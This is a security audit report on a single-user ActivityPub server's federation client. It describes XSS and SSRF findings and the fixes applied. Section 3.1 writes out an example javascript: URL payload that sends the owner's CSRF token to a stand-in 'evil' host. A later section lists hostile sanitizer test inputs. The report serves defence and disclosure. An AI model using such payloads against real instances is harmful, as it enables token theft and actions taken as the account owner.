SECAUDIT 033 - SMACKVERSE federation client attack surface

Field	Value
Audit ID	2026-07-15-033
Date	2026-07-15
Severity	MEDIUM — no critical/RCE; two authenticated-origin XSS vectors reachable via hostile remote actors
Component	SMACKVERSE — Pixelfed-compatible single-user ActivityPub server (public federation router + owner-facing interaction UI)
Status	REMEDIATED in 0.7.405 ("The Best Night Ever") — §3.1/§3.2/§3.3 fixed; §3.4/§3.5 reviewed and accepted
Reporter	Sean (flagged the audit was overdue) + Claude (traced the surface)

1. Summary

SMACKVERSE — SnapSmack's fully integrated, fully interactive, Pixelfed-compatible single-user server instance, giving the blog its own presence on the Fediverse over ActivityPub — comprises a public federation router (`smackverse.php`) and the owner-facing interaction UI (`pixel.php` + `ss-pixel.js`, data via `core/smackverse.php`). At the server trust boundary it is well-built and sound. HTTP-signature verification is correct and fail-closed, outbound fetches are SSRF-guarded with a DNS-rebinding pin, the inbox binds the verified signer to the activity's declared actor (no impersonation gap), remote text is `strip_tags()`'d before storage and `htmlspecialchars()`'d on render, and inbound POSTs are rate- limited and size-capped.

The residual risk was entirely client-side, in the browser, in the owner's authenticated session: two places rendered a remote-controlled URL as an anchor `href` without restricting the URL scheme, and the bio sanitizer was a denylist with known gaps. A hostile remote instance cannot forge our identity or reach our LAN — but it could have crafted a profile or post that, when the owner viewed or clicked it inside `pixel.php`, ran script in the SnapSmack origin (the CSRF token is in a meta tag on that page → full owner-action capability). All actionable findings are fixed in 0.7.405; details in §5. No critical/RCE found.

2. What was verified GOOD (keep it this way)

- HTTP-signature verify (`sv_verify_signature`, `core/smackverse.php:845`): Digest header required and compared to `sha256(body)` with `hash_equals`; Date required and enforced to ±1h (replay guard); signed-header set must include `(request-target)` and `digest`; signer key fetched from the keyId actor and `publicKey.owner` bound to `actor.id`; `openssl_verify` over both legitimate `(request-target)` constructions. Unverifiable → `401`, changes nothing.
- Actor binding (`sv_handle_inbox`, `:1429`): `if ($actor_id === '' || $act_actor !== $actor_id) return 401;` — the verified signer must equal `activity.actor.id`. Closes the classic AP impersonation hole (signer A cannot act as B).
- SSRF guard (`sv_resolve_public`, `:432`): scheme allowlist (http/https), rejects non-resolving hosts and `FILTER_FLAG_NO_PRIV_RANGE | NO_RES_RANGE`, returns a `CURLOPT_RESOLVE` pin so cURL contacts the exact vetted IP (defeats DNS rebinding). Applied on `sv_fetch_ap` (`:497`), `sv_authed_get` (`:750`), `sv_fetch_json` (`:3041`), outbound delivery (`:1044`). `FOLLOWLOCATION => false` everywhere (no redirect-to-LAN pivot).
- Inbox hygiene (`smackverse.php:219`): rate-limited before any crypto work, 512 KB body cap, JSON-shape checked, signature before any state change, response flushed via `fastcgi_finish_request` then deliveries drained unpaced (no worker starvation).
- Server-side output: remote `content` consistently `strip_tags()`'d (`core/smackverse.php:1370,1420,1597,1658,2405,...`) and rendered with `htmlspecialchars(..., ENT_QUOTES)`.
- Client escaping: `esc()` used on handles, names, dates, captions, DM bodies; `avatar()` (`ss-pixel.js:38`) `esc()`s the URL before it hits `src=` (blocks the attribute-injection route). CSRF token sent as `X-CSRF-Token`; global `csrf_check()` in `auth-smack.php:73`; `pixel.php` is owner-gated.

3. Findings

3.1 MEDIUM — `javascript:`-scheme URLs reach clickable `href`s (remote-controlled) · FIXED

`esc()` HTML-encodes `& < > " '` but does not restrict the URL scheme. Two sinks put a remote-controlled URL straight into an anchor `href`:

- `assets/js/ss-pixel.js:151` — the post "□" menu: `'<a class="sx-ch-menu" href="' + esc(p.url || "#") + '" ...>'` `p.url` is the remote status URL (attacker-controlled by the origin instance).
- `assets/js/ss-pixel.js:278` — the profile "website" line: `'<a href="' + esc(a.url) + '" ...>'` (`a.url` = remote actor `url`).

A hostile instance serving `url: "javascript:fetch('//evil/?c='+document.querySelector('meta[name=csrf-token]').content)"` yields a link that, on click in `pixel.php`, executes in the SnapSmack origin. `target="_blank"` does not help — `javascript:` ignores

the target. Impact: CSRF-token theft → any `sspf_action` (follow/like/reply/boost/DM) as the owner, plus any same-origin read.

3.2 MEDIUM — bio sanitizer was a scheme denylist with gaps (`bioHTML`) · FIXED

`bioHTML` (`ss-pixel.js:73`) rendered remote bio HTML through a denylist (`d.innerHTML = untrusted`, then remove `script/on*/javascript:`). The synchronous strip defeats the `<img onerror>` timing vector, but the denylist missed schemes/attributes that survive into the returned markup: `xlink:href` was not checked (`<svg><a xlink:href="javascript:…">`), and `data:`/`vbscript:` were not stripped from `href`. Click-gated, but auto-renders on profile view.

3.3 LOW / hardening — `sv_hub_search` outbound POST not SSRF-guarded · FIXED

`sv_hub_search` (`core/smackverse.php:711`) POSTed to `snap_multisite_nodes.site_url` with the hub Bearer token attached, without `sv_resolve_public()` + pin — the only outbound path that skipped the guard. Admin-configured (higher trust), so this was defense-in-depth, but a compromised/mis-entered hub row would otherwise be an SSRF pivot with credentials.

3.4 INFO — signed-header set does not require `host`/`date` · ACCEPTED

`sv_verify_signature:879` mandates only `(request-target)` + `digest`. Digest binds the body and the ±1h window bounds replay, so cross-host reuse risk is low. Accepted as-is (see §6).

3.5 INFO — inbox limiter fails open · ACCEPTED

`sv_inbox_rate_ok:489` returns `true` on `PDOException` ("never block federation on a limiter hiccup"). Deliberate availability trade-off; accepted (see §6).

4. Exploitation scenario (3.1)

Owner opens `pixel.php`, searches a handle or scrolls the global/hashtag timeline, and views a post or profile from `evil.example`. That instance set the status/actor `url` to a `javascript:` payload. The owner clicks the "□" permalink (or the profile website link) → script runs in the SnapSmack origin, reads the CSRF meta token, and fires `sspf_action` POSTs as the owner. No auth bypass — the malicious content is the delivery vector, exactly as a hostile skin was in 030.

5. Remediation (0.7.405)

1. §3.1 — URL-scheme allowlist. Added `safeUrl()` to `ss-pixel.js` (allows only `^https?://`, else collapses to `#`) and wrapped both remote-derived hrefs: `esc(safeUrl(p.url))` (feedCard "□" permalink) and `esc(safeUrl(a.url))` (profile website). Caption / hashtag / mention links in `linkifyCaption` were already `https?://`-only and unaffected.
2. §3.2 — bio allowlist rebuild. `bioHTML` now parses remote HTML in an inert `DOMParser` document (untrusted markup never binds to a live node — no resource load, no handler can fire) and rebuilds the tree against a tag allowlist (`a p br span strong em b i`), passing every `<a href>` through `safeUrl()` and forcing `rel="noopener nofollow"`. Disallowed elements are dropped but their text kept. This removes the `xlink:href` / `data:` / `vbscript:` denylist gaps.
3. §3.3 — guarded hub search. `sv_hub_search` now runs `sv_resolve_public()` and pins the vetted IP (`CURLOPT_RESOLVE`) with `FOLLOWLOCATION => false`, matching every other outbound fetch. Refuses a private/reserved-range `site_url`.

Both PHP files and the JS pass `php -l` / `node --check`. `pixel.php` remains owner-gated; no server-contract change.

6. Accepted residuals (rationale)

- §3.4 — Requiring `host` in the signed set would harden against cross-host reuse of a captured signed request, but Digest (body) + the ±1h Date window already make a useful replay implausible, and some legitimate signers omit `host`. Enforcing it risks interop breakage for negligible gain. Accepted; revisit if a stricter fedi profile is adopted.
- §3.5 — The inbox rate limiter fails open on a DB error by design, to avoid a database-pressure condition silently severing inbound federation. The exposure (flood cap disabled only during a DB fault) is bounded and preferable to a self-inflicted federation outage. Accepted as a conscious availability choice.

7. Verification (post-fix)

- `ss-pixel.js`: no `href="' + esc(` sink remains unwrapped by `safeUrl()`; `node --check` clean; `safeUrl` defined once, used by both anchors + `bioHTML`.
- `bioHTML`: fixture bio with `<script>`, `<img onerror>`, `<svg><a xlink:href= "javascript:">`, `<a href="data:text/html">` renders inert (script-free, hrefs → `#`).
- `smackverse.php`: `sv_hub_search` refuses a private-range `site_url`; `php -l` clean.

8. Not covered this pass (next audit — 034)

Line-by-line of the 236 KB `core/smackverse.php` beyond the fetch/verify/render functions; the admin surfaces `smack-pixelfed.php`, `smack-smackverse.php`, `smack-sv-followers.php`, `smack-sv-tools.php`, `core/smackverse-admin-shared.php` (CSRF/authz on settings writes); `snap-in.php`; and the `.well-known`/webfinger rewrite rules in `.htaccess`.